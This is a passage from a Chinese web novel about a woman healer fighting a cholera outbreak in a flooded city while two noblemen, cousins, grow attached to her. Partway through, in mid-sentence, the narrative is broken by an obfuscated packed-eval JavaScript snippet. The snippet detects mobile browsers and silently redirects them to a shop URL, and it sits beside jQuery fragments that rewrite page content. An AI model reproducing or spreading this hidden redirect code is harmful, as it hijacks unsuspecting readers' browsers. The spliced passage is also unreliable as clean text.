恐惧像瘟疫一样传播。有人想逃，可外面是滔滔洪水，无处可逃。有人开始传言，说这是天罚，是妖孽作祟。许娇娇甚至听到有人低声议论：“听说张记药铺那个许娘子在仁心堂……该不会是她带来的晦气吧？” 静心气得发抖，想上前理论，被许娇娇拉住。 “现在不是争辩的时候。”许娇娇提了提面上的蒙布语气平静，“先救人吧！救人要紧。” 在这个当头，舆论谣言都不足为惧。 “许娘子。” 一个有些清融中带着许些疲倦的声音响起。许娇娇转头，看见草棚入口处站着一个年轻人，穿着半旧的青布衫，头发用布带草草束着，脸上带着病容，却依然能看出原本的清俊模样。 此人她见过，在何山的道观。和裴宴一起由清风道长陪着他们，那日匆匆一面，许娇娇有个过目不忘的本事。 许娇娇愣了愣，急忙上前：“郎君是……郎君怎么在此？” “在下沈谦，”年轻人微微欠身，声音因发热而有些低哑，“家父讳翊，祖居菰城沈氏。曾在何山道观……与娘子有过一面之缘。” 话没说完，她注意到沈谦的脸色，两颊泛着不正常的潮红，嘴唇干裂，眼神也有些涣散。她心头一紧，不由伸手探向他的额头。 触手滚烫。 沈谦有些愣住，只觉得额头探上来一直略微冰凉的手，极其舒服。他没有躲，因为他有些懵。他没想道许娘子竟如此直接。 “病了多久？”许娇娇急声问。 沈谦回过神，有些心虚，他差点忘记，许娘子是个医者。于是虚弱地笑了笑：“两日。起初只是头晕，今早开始腹泻……”他顿了顿，低声道，“家里人都撤到城东老宅了，我留下来帮着安置灾民，没想到……” 许娇娇虚扶着他在旁边的草席上坐下：“你不该来的。这里病人太多，容易传染。” “我知道。”沈谦咳嗽了几声，“可出了这么大的事，菰城乃我祖宅，我们府上不能不出面，如今到处缺人手，我虽是读书人，也识得几个字，总能帮些力所能及的事。”他看向许娇娇，眼中带着歉意，“给娘子添麻烦了。” “沈郎君客气，”许娇娇摇摇头，仔细为他诊脉。脉象滑数，舌苔黄腻，确是霍乱的典型症状。 沈谦，她自然早就有耳闻。刘寡妇经常八卦一些菰城的达官显贵，有时她也随口多问几句。沈尚书第的嫡长孙，青年才俊。父亲沈翊进士出身，在京城为官，他则和几个兄弟跟随祖父母住在菰城，在州学肄业。 “你先躺下歇息片刻，我去熬药。”许娇娇诊好脉起身要走。 沈谦却叫住她：“许娘子。” 许娇娇回头看他。 “这些时日……多有劳烦。”沈谦看着她，声音很轻，“我听说，这几日你都没怎么合眼。” 许娇娇愣了愣，没想到他会关心自己。她垂下眼睑，声音平和：“我乃学医之人，只是尽本分。” 50. 第50章 霍乱 “本分……”沈谦重复着这两个字，忽然剧烈咳嗽起来。许娇娇忙上前扶住他，等他咳完了，倒了杯温水递上。 沈谦接过去喝了几口，喘息稍定，才又开口：“我见过许多人，平日里满口仁义道德，到了危难之时，却只顾自保。娘子一个女子，能在此时挺身而出，这份本分，比许多人的大义更可贵。” 许娇娇不知该如何接话，只好低声道：“沈公子过誉了。您好好歇着，我去煎药。” 她转身匆匆离开，心里却有些乱。沈谦的眼神太过直白，那份赞赏里，似乎还掺杂了些别的东西。 第四日，晨雾尚未散尽，浑浊的水面上漂浮着断木与杂物。一列舴艋舟如游鱼般悄然滑入深巷，船头站着披蓑衣的菰城救援官，正对着屋檐上惊惶的百姓高喊：“告所有人，莫慌！官粮已到！”后方，一艘吃水较深的纲船正小心绕过淹至半身的石狮，船头士卒用长矛推开漂浮的衣柜，舵手紧张地盯着前方民房屋顶插着的黄色指引布条。船头站着裴宴，他身后一把大伞撑在头顶，挡住了细密的雨水，几个贴身随从和几个官员穿着蓑衣站在身后，纲船后面紧紧跟着两艘医药船，青色旗幡在雾色中时隐时现，几位医官正为打救上来的灾民诊脉，药童在船舱里守着沸腾的药釜。 菰城的知州孟允和几个菰城的官员几乎都是满眼血丝，孟知州正将头顶斗笠掀起，他面色紧张看着裴宴，“帅使来的及时，这几日雨水是弱了，但湖水倒灌却越发迅猛，下官命人将东山的一处道观腾出，方便安置灾民。前方一里多就是仁心堂所在，那里地势极高，听说仁心堂已收留不少灾民。帅使您看……？” “孟知州辛苦。那就分头多派遣几艘船只，先救治民众，发放救济粮、药品。”裴宴面沉似水。菰城地处内陆，飓风从明州刮过来，大风到是无妨，这内涝却是大事，朝廷想尽办法，却总是难以周全。 前面快速驶过来一艘舴艋舟，一位传令兵上前禀报：“西南五里水深已过丈，且有老弱困于海禅寺的阁楼。孟知州急忙转身对身后的等候的青壮士兵嘶哑道：“调两艘筏子，多派会水的，从李寡妇茶坊的后墙破窗进去！” 裴宴看着眼前的场景，心情十分沉重，他外祖沈府就在菰城，不过他早就打发人去探望过，沈府地势颇高，水深直到脚踝处，尚不足为惧。只有几处庄子被水淹了，问题不是很大，外祖母和外祖父带着家人都上了避难的阁楼。当初修建时，沈老侯爷也是考虑到菰城地势，将阁楼修建的十分结实稳固。 只是，那个丫头，在张记生药铺坐诊的她，也不知道如今可好？ “郎主，仁心堂到了。”身后随从长风低声道。 裴宴回过神举目望去。 只见仁心堂门前的石阶已被淹没大半，几艘舴艋舟用麻绳系在廊柱上，随浊浪起伏。堂内人影幢幢，咳嗽声、呻吟声、孩童的啼哭声混杂着药草苦味，从洞开的门窗里漫出来。檐下挤满了无处可去的灾民，个个面如菜色，眼神空洞。 裴宴踩着亲兵临时搭起的木板桥，踏上仁心堂前廊。孟知州紧随其后，高声喊道：“钦差裴安抚使到！主事者何在？” 赵药师正端着药钵从后堂匆匆出来，闻声急忙上前，衣摆还沾着泥渍：“草民仁心堂管事赵常，拜见天使！” 裴宴的目光却越过他，扫向混乱的堂内。人群里，一个熟悉的身影正背对着门口，蹲在一个老妇身前，低头查看对方肿胀的脚踝。她发髻有些松散，几缕碎发被汗水粘在颈侧，蓝色的粗布衣裙上溅满了泥点，却衬得那截露出的手腕越发白皙。 是她！ 裴宴心头莫名一松，随即又蹙起眉。此地乱象环生，脏污不堪，她一个女子……! “赵管事，”他收回视线，声音沉稳，“灾民情况如何？可有疫症迹象？” 赵药师脸色一肃，压低声音：“回安抚使，实不相瞒，已有数十人出现腹泻高热之症，疑似……霍乱。草民与几位大夫，包括许娘子，已尽力隔离病患，分发防疫汤药，奈何药材短缺，病者日增。” “霍乱”二字让孟知州和一众官员都倒抽一口凉气。裴宴心下一沉，神色却未变，只道：“朝廷的医药船已到，随船太医正在后方诊治重伤者。药材随后会分批运抵。赵管事，你即刻清点所需药材名录，报与孟知州。太医署的人稍后便来协助。” “是！谢安抚使！”赵药师如蒙大赦，连忙应下。 裴宴又吩咐孟知州调配人手，加强仁心堂周边的秩序与清洁，务必分开水源与污物处理之处。他语速不快，条理清晰，一道道指令下去，原本慌乱无措的场面似乎有了主心骨。 交代完毕，他才状似无意地朝许娇娇那边走去。 许娇娇刚为老妇固定好伤处，起身时眼前黑了一瞬，连日疲惫让她身形微晃。一只有力的手臂及时在她肘边虚扶了一下，又迅速收回。 “许娘子。”裴宴的声音在身侧响起，听不出什么情绪。 许娇娇蓦然抬头，撞进一双深潭似的眼里。他穿着暗青色常服，外罩玄色大氅，虽沾染了风尘水汽，身姿依旧挺拔如松，与周遭的混乱狼狈格格不入。只是脸色有些疲惫，眼下有淡淡的青影。 “裴……裴安抚。”许娇娇敛衽行礼，心头一时有些慌乱，没想到真是他，更没想到会在此情此景下相见。 “你可还安好？”裴宴问得简短。 “我，无恙。”许娇娇垂眸，“多谢安抚使关切。安抚使亲临险地，还请务必保重。” 两人之间一时无话，只有周遭的嘈杂不断涌入。静尘端着一盆热水经过，看见裴宴，愣了一下，低头快步走开。 “听闻你在此协助救治，颇有章法。”裴宴再次开口，目光落在她沾满药渍的双手上，“疫症凶险，你……自己要小心。” “小女子略通医理，自当尽力。”许娇娇顿了顿，还是抬起眼，目光澄澈而坚定，“安抚使，霍乱之疫，重在防大于治。如今灾民聚集，若无洁净饮水与妥善排污，汤药恐难遏制蔓延。可否请安抚使下令，组织尚有力气的民众，于高处挖掘临时厕坑，远离水源？并严令所有饮水必须煮沸？” 裴宴凝视着她，看到她眼中的血丝，也看到她毫无退缩的担当。他点了点头：“你所言在理。此事我会即刻安排。”他停顿了一下，声音略低，“若有难处，或缺少什么，可让人……直接报与我知晓。” 许娇娇微微一怔，随即道：“是。小女子代灾民谢过安抚使。” 这时，一名亲兵快步上前，在裴宴耳边低语几句。裴宴面色一凝，对许娇娇略一颔首，便转身大步离去，玄色氅衣在潮湿的空气里划开一道利落的弧线。 许娇娇望着他匆匆离去的背影，轻轻吐了口气，压下心头那丝莫名的波澜，转身又投入到忙碌的救治中。 夜幕再次降临，仁心堂内点起了更多的油灯和火把。朝廷运来的第一批药材和粮食已然到位，虽仍是杯水车薪，却给了绝望中的人们一丝光亮。后院里，按照许娇娇的建议，新挖的厕坑已经启用，几口大锅日夜不停地烧着开水。 裴宴带来的太医署医官与仁心堂的大夫们汇合，共同商讨疫病防治之策。许娇娇作为最早发现并参与处理疫情的医者，也被邀列席。她提出的隔离分区、人员分类、饮水消毒等举措，得到了几位老医官的认可，并逐步推行。 裴宴并未参与具体医案讨论，却在后勤调配上下足了功夫。船只、人手、物资，在他的协调下，效率提高了许多。夜深了，他临时下榻的官船停在仁心堂附近，舱内灯火通明，人影忙碌，不时有将领和官吏进出禀报。 许娇娇端着刚熬好的防疫汤药，分发给前院轮值的青壮。经过廊下时，她无意间抬眼，望见远处官船船舷边独立的身影。裴宴正凭栏远眺着漆黑一片的汪洋城池，侧脸在微弱的光线下显得格外冷峻。 他似乎察觉到视线，转过头来。 隔着摇曳的水波与昏黄的灯火，两人的目光在潮湿的夜空中短暂相接。 许娇娇率先移开目光，低下头，继续手中的工作。只是心绪，如同这脚下起伏的浊水，难以彻底平静。 有了朝廷的支持，防疫工作终于能有序展开了。 可疫情并未好转。病人越来越多，药材越来越少。每天都有人被抬进来，每天都有人被抬出去——有些是治愈的，更多的是……死去的。 许娇娇第一次如此深切地感受到生命的脆弱。那个三个月大的婴儿，终究没熬过去。年轻的母亲抱着孩子冰冷的身体，哭得昏死过去。许娇娇站在一旁，指甲深深掐进掌心。 她恨自己的无能为力。若有现代的医疗条件，若有充足的药品，这些人都不会死。 可她什么也没有。只有几本医书，一点前世的知识，和一颗不甘的心。 夜深人静时，仁心堂内终于有了片刻喘息的死寂。许娇娇独自坐在临时充作药房的后堂角落，面前摊着自己这几日根据前世经验所写的医案，烛火因门缝钻入的夜风而摇曳不定，将她疲惫消瘦的影子拉长，投在满是药渍的墙壁上。她目光落在纸上，却久久未动，眼前晃动的仍是白日里那些绝望的面孔。 静尘轻轻走进来，将一碗冒着微弱热气的薄粥放在她手边。“娇杏，歇歇吧，哪怕闭眼养养神也好。”静尘的声音带着掩饰不住的心疼，“你已经三天没好好合眼了，铁打的人也受不住。” 许娇娇恍若未闻，只是摇了摇头， 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就在她勉强自己吞咽第二口时，一阵极轻的脚步声从连通前堂的廊下传来，停在药房门口。许娇娇抬头，看见裴宴站在那里。他依旧是那一身略显风尘的常服，外罩的氅衣沾着夜露。烛光将他挺直的鼻梁和紧抿的唇线勾勒出明暗交错的轮廓，那双眼睛在昏暗的光线下，显得格外幽深锐利。他似乎刚从外面巡视回来，身上带着夜晚的凉气。裴宴的目光先是扫过桌上医案和那碗清粥，最后落在许娇娇苍白得近乎透明的脸上。他眉头几不可察地蹙了一下。 “裴安抚。”许娇娇放下碗，想要起身。 “不必多礼。”裴宴抬手虚按，声音比平日低沉，带着一丝沙哑，许是连夜指挥所致。他迈步走进来，药房本就狭窄，他的到来让空间显得更加局促。“疫情……还是吃紧？”他问的是公事，语气也如常。 许娇娇点点头，言简意赅：“新发病例未见明显减少，重症者……死亡率偏高。药材，尤其是黄连、葛根等关键药材，消耗太快。”她顿了顿，补充道，“今日又走了十七人，包括一个婴儿。” 她说得平静，但裴宴听出了那平静之下竭力压抑的沉重与无力。他沉默片刻，道：“明日午时前后，会有一批药材从杭州紧急调运抵岸，我已安排快船接应。其中应有部分你所需的药材。” 许娇娇黯淡的眼眸里终于亮起一丝微光：“当真？那……那或许还能再撑几日。” “嗯。”裴宴应了一声，视线再次落到那碗几乎清澈见底的粥上，忽然问道，“你就吃这个？”许娇娇一愣，没反应过来他为何忽然问这个。 “……足够了，夜里也不宜多食。” 她以为他只是随口一问。裴宴没接话，只转头对一直静立门边的亲随长风低声吩咐了一句。那长风领命，悄无声息地快步离去。不多时，长风去而复返，手里捧着一个不大的食盒。裴宴接过，亲自放在许娇娇面前的桌上，打开。里面是一碟尚温热的、看起来颇为精致的点心，还有一小罐不知是什么的汤羹。 “这是……”许娇娇讶然。 “我船上厨子做的夜点，用了一些滋补药材。”裴宴语气平淡，仿佛在陈述一件与己无关的公事，“我用过了，这些多余。你拿去。”他顿了顿，目光平静地看向她，补充道，“空着肚子，熬不了夜，也救不了人。医者自身体力不济，如何应对疫情？”他将理由完全归结于公事和效率，听起来无懈可击。 许娇娇看着那碟点心，又看看裴宴没什么表情的脸，心中一时五味杂陈。这显然不是多余的点心，更像是特意准备的。但他用如此生硬的理由送来，让她连感谢都显得有些尴尬。 “多谢裴安抚，小女子……”她下意识想推拒。 “许娘子，”裴宴打断她，声音依旧平稳，却带着不容置疑的意味，“救治病患，离不开医者。你若倒下了，仁心堂便少一分力。这并非私谊，乃是公事所需。”他又看了一眼那清粥，语气略缓，“况且，你吃那个，并无益处。” 话说到这个份上，再推辞反而显得不识好歹。 许娇娇只得再次道谢：“那……多谢裴安抚体恤。” 裴宴几不可察地点了下头，似乎完成了某项任务。他又看了一眼那烛火下显得格外单薄的身影，终是没再多言，只道：“夜已深，许娘子也当适当休息。明日药材一到，还需你费心调配。”说完，他便转身，如来时一般，踏着沉稳的步伐，消失在廊下的阴影里。 许娇娇望着他离去的方向，良久，才收回目光，落在食盒上。 静尘轻轻走过来，叹了口气，将点心拿出一半，又把那罐汤羹推到许娇娇面前：“这位安抚使……看着冷，倒是个心细的。娇杏，听一句劝，吃点实在的吧，明天……还有硬仗要打。” 许娇娇点头。她舀了一勺汤羹送入口中，温热鲜香的味道瞬间弥漫开来，与方才的米汤天壤之别。这暖意似乎更切实地渗入了四肢百骸，也让她因沉重现实而有些麻木的心，感受到了一丝温暖和支撑。 51. 第51章 转机 晨光熹微，仁心堂内却无人有暇感受这雨停后的第一缕晴光。死亡的气息依旧浓郁，但许娇娇眼中却燃着一簇不肯熄灭的火。 她将自己关在药房半日，凭着记忆与连日观察，结合前世的医案，反复推敲，终于拟定了一份详尽的方略。纸张上墨迹未干，她便径直去寻裴宴。 官船上，裴宴正与几位地方官员及太医署领队议事，气氛凝重。听说许娘子求见，裴宴略一沉吟，便命人引她进来。 舱内众人目光落在她身上，有探究，有不以为然。一个年轻女子，纵有些医术，在此等关乎一城生死的大事上，又能有何高见？ 许娇娇无视那些目光，向裴宴及诸位大人行礼后，便展开手中纸张，声音清晰却带着不容置疑的坚定：“裴安抚使，诸位先生，小女子根据连日诊治观察，针对此次霍乱疫症，有一防治方略呈上。” 她先指出的仍是隔离与清洁：“病患必须严格分区，重症、轻症、疑似、未染者，需有四重隔离，人员衣物器具不得混用。所有照料者，须着特制防护衣物，以厚棉布制成，袖口、裤脚紧束，外罩油布或涂蜡粗布围裳，尽量减少肌肤暴露。口鼻需以多层细密棉布覆盖掩住，此物民女称之为‘口罩’，需勤换煮沸消毒。”她早有准备，取出一个自己连夜粗制的棉布口罩样品。 太医署一位胡姓医官捻须皱眉：“隔绝病气，古已有之，孙真人《千金方》中便有‘入病家需避秽’之说。然此等口罩与特异衣物，是否必要？霍乱之毒猛烈，恐非区区布帛可防。” “胡太医所言甚是，霍乱之毒确实凶猛。”许娇娇不卑不亢，“然其传播，终需途径。病患吐泻之物、沾染之手、共用之水，乃至飞溅之唾沫，皆可为媒。严密防护，虽不能保万全，却能极大减少健康者染病之机，亦可防照料者病倒，导致无人可用。此乃切断传播之关键一环。” 裴宴一直静静听着，此刻开口：“所需布帛几何？如何赶制？” 许娇娇早有估算：“初期至少需两百套衣物，口罩需更多，且需备换洗。可征调城中未被淹的布庄、成衣铺人手，统一裁制，以沸水蒸煮后再分发使用。” “可。”裴宴对孟知州道，“孟知州，此事由你即刻督办，优先调用官仓库存棉布，工钱照市价给付。” 孟知州连忙应下。 接着，许娇娇提到了最关键的治疗药方。她呈上两张方子：“一张为治标急方，针对吐泻剧烈、津液暴脱之危重患者。以黄连、黄芩为君，清热燥湿；葛根、煨木香升清止泻；辅以车前草、马齿苋利湿解毒。更关键者，需用淡盐水、糖水，或稀米汤加少许盐，频频喂服，不拘时辰，务求补充流失之水液，此乃留人治病之要。” 另一张方子则为预防及轻症调理之用，用药相对平和。 几位太医传阅方子，低声议论。赵药师也在一旁细看。胡太医沉吟道：“方中用药，确是对症清热止泻之品。这频频喂服盐糖米汤之水法……医籍中虽有‘津脱者补以甘淡’之论，但用于霍乱如此急症，是否真能起效？且药材用量颇大，黄连、葛根如今皆是紧俏之物。” 许娇娇知道空口无凭，她取出一份自己整理的简要记录：“不瞒诸位，前几日药材未至时，小女子已对部分重症病患尝试此法。虽因条件所限，盐水糖水配制粗陋，亦无法时刻喂服，但十人中，有三人吐泻稍缓，精神略振，得以撑到用药。若无此水液补充，恐此三人亦早已不治。”记录上字迹工整，简单列明了病患初始状况与喂水后变化。 裴宴接过记录，快速浏览。上面没有华丽的辞藻，只有朴素的观察。他抬眼看向许娇娇：“你有多大把握？” 许娇娇迎着他的目光，坦然道：“小女子不敢妄言十成把握。霍乱凶险，变数极多。但此法源于医理，前几日微效可见。若能有充足药材，配合严格隔离防护，小女子相信，至少可挽回更多性命，降低病死之数。”她顿了顿，声音坚定，“事急从权，请安抚使决断。” 舱内安静下来。所有目光都投向裴宴。 裴宴指节在案几上轻叩两下，随即斩钉截铁道：“就按此方略试行。胡太医，赵管事，药材调配、方剂熬煮、人员分派，由你二人协同许娘子负责。孟知州，防护衣物、口罩之事，再加派人手，务必最快赶制出来。所需药材，立刻从已到岸的药材中拨付，不足部分，列单由快马向周边州县征调。” 他语速不快，却带着不容置疑的力量。钦差一言，众人再无异议，立刻领命分头行事。 许娇娇心中一块大石稍落，郑重向裴宴行礼：“谢安抚使信任。” 裴宴看着她眼下的青黑，道：“许娘子先去歇息片刻，稍后还需你主持配药事宜。” “小女子不累。”许娇娇摇头，此刻她心中那股劲正盛。 方案既定，仁心堂迅速行动起来。第一批简陋但实用的防护衣物和口罩赶制出来，优先分发给直接接触病患的大夫、伙计和自愿帮忙的灾民。起初有人嫌麻烦别扭，但在许娇娇和赵药师的坚持下，还是依言穿戴。 熬药的大灶增加到十个，按照许娇娇提供的方子和注意事项，分批熬制不同用途的汤药。那“补液水”也专门设了地方配制，强调清洁。隔离区域重新划分，标识清晰。 裴宴并未留在官船，他要亲自去看看灾民安置和防疫实情。临行前，他唤来许娇娇。 许娇娇递上一个崭新的口罩和一件叠好的防护外衫：“裴安抚，请戴上这个，穿上外衫。虽不能完全杜绝风险，总能好些。” 裴宴看着她手中的粗布口罩和略显笨拙的罩衫，没有拒绝，接过。他学着许娇娇之前示范的样子，将口罩戴上，系带在脑后打了个结，又套上外衫。玄色大氅下露出这么一身打扮，让他冷峻的气质里平添了几分罕见的……烟火气，甚至有一丝不易察觉的笨拙。 许娇娇低着头，帮他整理了一下罩衫的领口，确保遮盖严实，指尖不经意触到他颈侧的皮肤，温热。她迅速收回手：“安抚小心，尽量不要直接接触病患或污染物。” “嗯。”裴宴应了一声，目光在她低垂的眼睫上停留一瞬，转身带着同样做了防护的长风等人，踏入仁心堂前院。 院内景象井然了不少，但病患的痛苦呻吟依旧刺耳。裴宴边走边看，询问物资分发和病患安置情况。当他走到专门隔离重症病患的西南角草棚区时，目光无意间掠过一张草席，骤然顿住。 草席上躺着的青年，面色灰败，眼窝深陷，正是他以为早已随沈家老小安全撤离到城东高地的表兄——沈谦！ 裴宴瞳孔微缩，疾步上前。沈谦似乎昏睡着，呼吸微弱急促。 “他何时来的？病了几日？”裴宴转头，声音里带着罕见的急怒，问向旁边一个正在照料其他病人的伙计。 伙计被钦差的脸色吓到，结结巴巴道：“回、回天使，这位公子是前日自己来的，说是帮忙安置灾民，来了就病倒了……许、许娘子亲自看的，说是染了疫症，已经用了两日药了……” 裴宴心下一沉。前日？那正是疫情最凶险的时候！他竟一直不知！看着表兄病骨支离的模样，再想到外祖母若得知……裴宴握紧了拳。 许娇娇闻讯匆匆赶来，见裴宴站在沈谦铺前，脸色难看，便知他已发现。她上前低声道：“裴安抚，沈公子病情确实凶险，初时高热不退，吐泻剧烈，险些津脱。这两日用了药，配合补液，今晨高热已退，吐泻次数也减少了，脉象虽仍弱，却比昨日稍稳。只是人还十分虚弱。” 裴宴闭了闭眼，压下翻腾的情绪，再睁开时已恢复冷静：“有劳许娘子费心。务必……全力救治。” “小女子分内之事。”许娇娇道。她见药童端了刚熬好的药来，便接过，“该服药了。” 她蹲下身，轻声唤道：“沈公子，沈公子，该用药了。” 沈谦费力地睁开眼，眼神起初涣散，慢慢聚焦在许娇娇脸上。他看到了她身后的裴宴，虚弱地动了动嘴唇：“宴……弟……” “表哥。”裴宴蹲下，握住他无力抬起的手，“别说话，好好吃药。” 许娇娇试了试药温，用小勺慢慢喂到沈谦嘴边。沈谦吞咽困难，喂进去的药汁有一小半沿着嘴角流出。许娇娇极耐心地用手巾轻轻擦拭，再喂下一勺，一边低声鼓励：“慢慢喝，对，就这样……这药里有葛根、黄连，能清热止泻，还有益气生津的药材，喝下去会舒服些……” 她神情专注，动作轻柔，仿佛对待一个易碎的瓷娃娃。裴宴在一旁看着，看着许娇娇低垂的侧脸，看着她细心擦拭沈谦嘴角的药渍，看着她温声软语地哄劝……一股莫名的滞闷感悄然堵在胸口。他知道这是医者仁心，知道她对待其他重病患也是如此，但亲眼见表兄如此依赖她的照料，心中那点说不清道不明的烦躁，却难以抑制地滋生。 沈谦艰难地服完药，似乎耗尽了力气，又昏睡过去，但呼吸比之前平稳了些许。 许娇娇仔细替他掖好被角，起身对裴宴道：“裴安抚放心，沈公子最危险的关头应该已经过了，接下来按时用药，精心护理，当可逐渐康复。” 裴宴点了点头，目光复杂地看了沈谦一眼，又扫过许娇娇疲惫的面容，最终只道：“有劳。” 接下来的几日，新的防治措施逐渐显出效果。严格隔离减少了新感染，防护衣物给了照料者更多信心，而许娇娇主张的“汤药配合补液”疗法，在充足药材的支持下，效果越来越明显。重症患者的死亡率开始显著下降，越来越多的人熬过了最凶险的时期，转向康复。仁心堂内，绝望的气息被一丝微弱的希望悄然驱散。 沈谦的恢复更是众人关注的焦点。他底子好，加上许娇娇的精心治疗和静尘的细心照料。许娇娇忙不过来时，常由静尘帮忙。恢复得比普通灾民快些。四五日后，他已能半坐起来，喝些薄粥，脸上也有了点血色。 每次许娇娇来查看，沈谦的目光总是忍不住追随她。看她为自己诊脉时微蹙的眉头舒展，听她交代注意事项时清泠柔和的声音，感受她指尖偶尔触及手腕带来的微凉触感……劫后余生的庆幸，对救命恩人的感激，以及这个女子在灾难中所展现出的智慧、勇气与仁心，如同细细的丝线，悄然缠绕在他心头。他醒来后已知晓许娇娇提出的整套防治方略，心中钦佩更甚。这份情愫，在病弱的身体和依赖的环境中，悄无声息地滋长。 裴宴依旧忙碌，但出现在仁心堂，尤其是西南角这个草棚附近的频率，若有心人观察，似乎高了些。他有时带来外祖母让人捎来的滋补品。名义上是给沈谦，但分量往往足够几个人分。有时是询问沈谦病情，有时只是远远看一眼。 他会看到沈谦靠着墙，目光柔和地落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259136|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在正在不远处查看其他病人的许娇娇身上；会听到沈谦用虚弱却温和的声音向许娇娇道谢，言辞恳切；甚至会见到许娇娇因沈谦的某个问题而驻足，简短解释几句。 每一次，裴宴面上依旧没什么表情，吩咐公事，检查防疫，语气冷静如常。只是，当他与许娇娇交谈时，若沈谦在场，他的话语会格外简练干脆，目光也会很快从许娇娇身上移开，仿佛多停留一刻都是不必要的。偶尔，他会以商讨要务为由，将许娇娇从沈谦附近叫开。 许娇娇全部心思都在疫情控制和病患康复上，对两位郎君之间流动的微妙气氛浑然未觉。她对沈谦，是医者对重要病患的尽责，加上一丝对其挺身而出却染病的敬意；对裴宴，则是下属对有力支持者的感激与配合。她只觉裴安抚使近日似乎更忙碌，神色也更冷峻了些。 洪水正缓缓退去，露出满目疮痍的大地。疫情虽未完全平息，但已然受到很好的控制。 与此同时，沈谦在仁心堂养病的消息，终究还是传回了沈家。 这日傍晚，许娇娇正在给沈谦换药。沈谦的病已经好了大半，只是身体还虚，需要调养。 “娘子这方子，救了不知多少人。”沈谦靠在草垫上，看着许娇娇熟练地包扎他手臂上的一处擦伤——那是他帮忙搬运物资时留下的。 许娇娇低头处理伤口，轻声道：“是朝廷送来的药材及时，赵药师他们也都尽心。” “你总是这样谦逊。”沈谦温和地说，“我祖父前日派人来，说祖母和母亲都听说了你的事，很是感激。” 许娇娇动作一顿。沈府的态度……她一直拿不准。前些日子那些谣言，沈夫人虽未全信，可终究有了隔阂。如今她治好了沈谦，或许能缓和一些？ “老夫人和夫人客气了。”她仔细打好结，“公子还需静养几日，切莫劳累。” 沈谦看着她低垂的侧脸。烛光映着她的轮廓，睫毛在眼下投出一小片阴影。她认真做事的时候，整个人都散发着一种沉静的光彩，与年龄不符的沉稳，却奇异地让人心安。 “许娘子，”他忽然开口，“等洪水退了，疫病过去了，你有什么打算？” 许娇娇抬起头，有些茫然：“打算？” “嗯。”沈谦笑了笑，“继续在张记坐诊？还是……有什么别的想法？” 许娇娇沉默片刻，摇摇头：“尚未想过那么远。眼下只想着救人，其他的……等灾情过去再说。” 沈谦的话音刚落，裴宴恰好从外面踱步进来。他显然听到了后半句，脚步在草棚入口处微不可查地一顿，面上却依旧是那副惯常的平静神色。 “你们在说什么，这么热闹？”裴宴的声音响起，不大，却让棚内原本略显轻松的气氛微微一凝。 许娇娇下意识地站直了身子，退开半步，垂首道：“裴安抚。” 沈谦倒仍是放松地靠着，见到表弟，脸上露出笑意：“宴弟，你来了。方才正说到许娘子，我在想，以许娘子的仁心与医术，长久留在张记生药铺坐诊，似乎有些屈才了。”他语气真诚，带着纯粹的欣赏。 裴宴已走到近前，目光先在沈谦包扎好的手臂上扫过，随即落在许娇娇低垂的侧脸上，最后才看向沈谦。他背着手，语气平淡无波：“此话怎讲？许娘子在张记生药铺行医济世，救治病患，何来屈才之说。”他顿了顿，声音里听不出什么情绪，却自有一股笃定，“悬壶济世，在乎本心，不在场所大小。只要心存仁术，便是在乡野间、在陋巷中，亦能救人于危难。此番疫病，不正是明证？” 他这话说得冠冕堂皇，挑不出错处，甚至颇有几分哲理。沈谦闻言，微微一怔，随即笑道：“宴弟此言有理，是我狭隘了。济世救人，确乎不在门户之见。只是……”他目光转向许娇娇，温声道，“我是觉得，许娘子这般人才，或可惠及更多人。譬如，若能得更多研习医术的机会，或是更广阔的施展空间，岂非更好？” 许娇娇听着两位郎君一来一往，心中有些无奈，又有些莫名的不自在。她不太习惯成为这种话题的中心，尤其是讨论她的前程。她轻轻吸了口气，抬头看向裴宴，语气恭敬而疏离：“裴安抚说的是，医者本分，在于治病救人。小女子在张记很好，能帮到需要的人，已是幸事。至于其他，小女子不敢奢求。” 她这话既是回应裴宴，也婉拒了沈谦话中隐含的提拔之意。 裴宴的目光在她脸上停留了一瞬，见她神色坦然，并无对沈谦提议的热切，心中那丝莫名的滞闷似乎稍散，但沈谦对她的格外关注仍让他有些不快。他转向沈谦，语气转淡：“表哥如今首要之事是安心养病，早日康复，外祖父他们方能放心。至于许娘子的前程，”他顿了顿，意有所指，“许娘子自有主张，旁人何必多虑。” 沈谦听出裴宴话中的一丝冷淡，只当他是关心自己身体，不愿自己多思劳神，便从善如流地笑道：“宴弟说得是，是我多话了。养病养病。”说着，又对许娇娇歉然道，“许娘子莫怪，沈某并无他意，只是感念娘子恩德，盼娘子能一切顺遂。” 许娇忙道：“沈公子言重了，小女明白。”她不想在此话题上纠缠，见沈谦伤口已处理好，便道，“公子按时服药，静养即可。小女还需去查看其他病患，先行告退。”说罢，向裴宴和沈谦各行一礼，拿起药箱，步履匆匆地离开了草棚。 52. 第52章 灾后 草棚内只剩下表兄弟二人。沈谦看着许娇娇离去的背影消失在门外，才收回目光，感慨道：“许娘子真是难得，不矜不伐，心志坚定。” 裴宴走到一旁，拿起桌上许娇娇留下的、写着服药注意事项的纸笺看了看，上面字迹清秀工整。他没有接沈谦的话茬，而是道：“你的气色比前两日好些了。外祖母已得知你患病，十分忧心，我已派人详细禀报你已转危为安，让他们安心。你痊愈之前，暂且留在此处静养，比回城东老宅人来人往更适宜。” “有劳宴弟周全。”沈谦道谢，随即想起一事，“对了，方才许娘子提到，疫情虽控，但水退之后，污秽遍地，恐生蝇虫，传播余毒。她建议组织人手，尽快清理淤泥，焚烧或深埋动物死尸，并在聚居处广泛撒些生石灰消毒。我觉得此法甚为紧要，宴弟看……” 裴宴听着，目光仍落在纸笺上，指尖无意识地摩挲了一下粗糙的纸边。“嗯，她考虑得周全。此事我会安排下去。”他放下纸笺，看向沈谦，“你好生休息，我再去别处看看。” 